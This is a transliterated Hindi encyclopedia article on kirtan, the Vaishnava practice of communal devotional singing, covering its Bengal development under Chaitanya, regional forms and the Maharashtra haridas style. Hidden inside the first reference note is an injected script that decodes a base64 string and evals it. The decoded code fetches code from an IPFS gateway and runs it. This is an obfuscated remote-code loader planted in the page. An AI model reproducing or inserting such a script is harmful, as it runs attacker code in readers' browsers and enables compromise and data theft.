कीर्तन

भारत डिस्कवरी प्रस्तुति
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kirtan
vivaran 'kirtan' sangitamay poojan ya samoohik bhakti ka svaroop hai, jo sampoorn bharat ke vaishnav sanpraday mean prachalit hai.
visheshata krishna nam ko adhar banakar 'mridang' athava 'karatal' ke tal par bhaktipoorn gitoan ke gayan ke sath bhavonmatt hokar nachana isaki visheshata hai.
sanbandhit lekh mirabaee, tukaram, namadev, kabiradas
any janakari kirtan ko pooja ke svaroop ke roop mean 15vian-16vian shatabdi mean bangal ke rahasyavadi chaitany mahaprabhu ne lokapriy banaya, jo eeshvar ke adhik pratyaksh bhavanatmak anubhav ka lagatar prayas karate rahe.

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kirtan sangitamay poojan ya samoohik bhakti ka svaroop hai, jo bangal ke vaishnav sanpraday mean prachalit hai. vaishnav sanpraday mean eeshvar upasana ki sangit-nrity samanvit ek vishesh pranali ko kirtan kaha jata hai. isake pravarttak devarshi narad kahe jate haian. kirtan ke madhyam se hi prahlad, ajamil adi ne param pad prapt kiya tha. mirabaee, narasi mehata, tukaram adi sant bhi isi paranpara ke anuyayi the.

gayan

amataur par kirtan mean ekal gayak dvara ek chhand gaya jata hai, jise usake bad sanpoorn samooh talavadyoan ke sath doharata hai. kee bar git ke sthan par dharmik kavitaoan ka path, bhagavan ke nam ki punaravritti ya nrity bhi hota hai. kirtan ke gitoan mean aksar manav-atma aur eeshvar ke sanbandhoan ka varnan, vishnu ke avatar krishna aur unaki premika radha ke sanbandhoan ke roop mean kiya jata hai. kirtan-sandhya kee ghantoan tak chal sakati hai, jisase usamean shamil hone vale kee bar dharmik anandatirek ki avastha mean pahuanch jate haian.

vikas tatha roop

kirtan ko pooja ke svaroop ke roop mean 15vian-16vian shatabdi mean bangal ke rahasyavadi chaitany mahaprabhu ne lokapriy banaya, jo eeshvar ke adhik pratyaksh bhavanatmak anubhav ka lagatar prayas karate rahe. 'kirtan' ka vikas mukhy roop se bangal mean hua mana jata hai. vahaan kirtan ka sanket pal nareshoan ke samay se hi milata hai, kiantu isaka charam vikas mahaprabhu chaitany ke samay mean hi hua. krishna nam ke adhar banakar 'mridang' athava 'karatal' ke tal par bhaktipoorn gitoan ke gayan ke sath bhavonmatt hokar nachana isaki visheshata hai.

garanahati

bangal ki kirtan pranali mean 'garanahati' ka prachalan narottamadas namak kavi ne kiya, jo svany ek b de gayak the. inake kirtan mean vriandavan ki bhakti ka rang chadha hua tha. unhoanne 1584 ee. mean apane mool sthanoan mean ek b da vaishnav mela bulaya, jisamean chaitany mahaprabhu ke bhakt shrinivasachary aur shyamanand bhi sammilit hue the. yah mela sat dinoan tak hota raha. is mele mean kirtan ne svabhavik kram mean apana ek niji roop dharan kar liya aur usase lagabhag sara bangal prabhavit hua.[1]

manoharashahi

pandrahavian shati mean kirtan ki anek paddhatiyoan ke sanyog se ganganarayan chakravarti ne is roop ko vikasit kiya aur isamean chandidas aur vidyapati ke padoan ka vishesh mahatv tha. kirtan ke any do ullekhaniy roop haian- 'reneti' aur 'mandarani'. bangal ke in kirtan svaroopoan se hi asam ke manipuri nrity aur mithila ke kirtaniya natak ka vikas hua hai.[2]

maharashtr mean kirtan paddhati

maharashtr mean kirtan ki ek sarvatha bhinn aur vyavasthit paddhati hai. vahaan kirtanakar haridas kahe jate haian aur ve vishesh prakar ke vastr pahanakar kh de hokar karatal ke tal par kirtan karate haian. is kirtan ke do aang hote haian-

  1. poorv rang
  2. uttar rang

poorv rang mean haridas pahale mangalacharan svaroop ganapati athava any devataoan ka stavan karata hai. usake bad vah ek adh dhrupad athava bhajan gata hai. tadanantar santoan ke abhang athava padoan ke adhar par bhakti, jnan, vairagy adi paramarthik vishayoan ka, niroopan karata hai. isamean gita, panchadashi, jnaneshvari, tukaram ki rachanaoan adi se uddharan dekar vah poorv rang ke roop mean ramayan, mahabharat athava puranoan se akhyan hota hai. aant mean 'abhang' gayan se kirtan ka samapan hota hai. kirtan vishesh parvoan par mukhyat: mandiroan mean hi hote haian.

any ullekh

'kirtan' karnatak bhakti sangit ka ek prakar hai. isake nimnalikhit roop haian-

  1. divyanam
  2. utsav sanpraday
  3. manas pooja
  4. sankshep ramayan

'pallavi', 'anupallavi' aur 'charan' isake bhag haian.

  • sanskrit shilp sahity mean kirtan prasad aur devalay ka paryay hai. is roop mean isaka prayog 'agnipuran' ke devalay nirmit namak adhyay aur aryashoor ke jatak mala mean bhi hua. charan usake bhag haian. elora ke kailas mandir ke abhilekh mean bhi 'kirtan' shabd ka yahi abhipray hai.


panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

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tika tippani aur sandarbh

  1. ↑ kirtan (hindi). . abhigaman tithi: 13 faravari, 2014.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  2. ↑ dr. maithili bhasha aur sahity

bahari k diyaan

sanbandhit lekh

dekhean • varta • badalean
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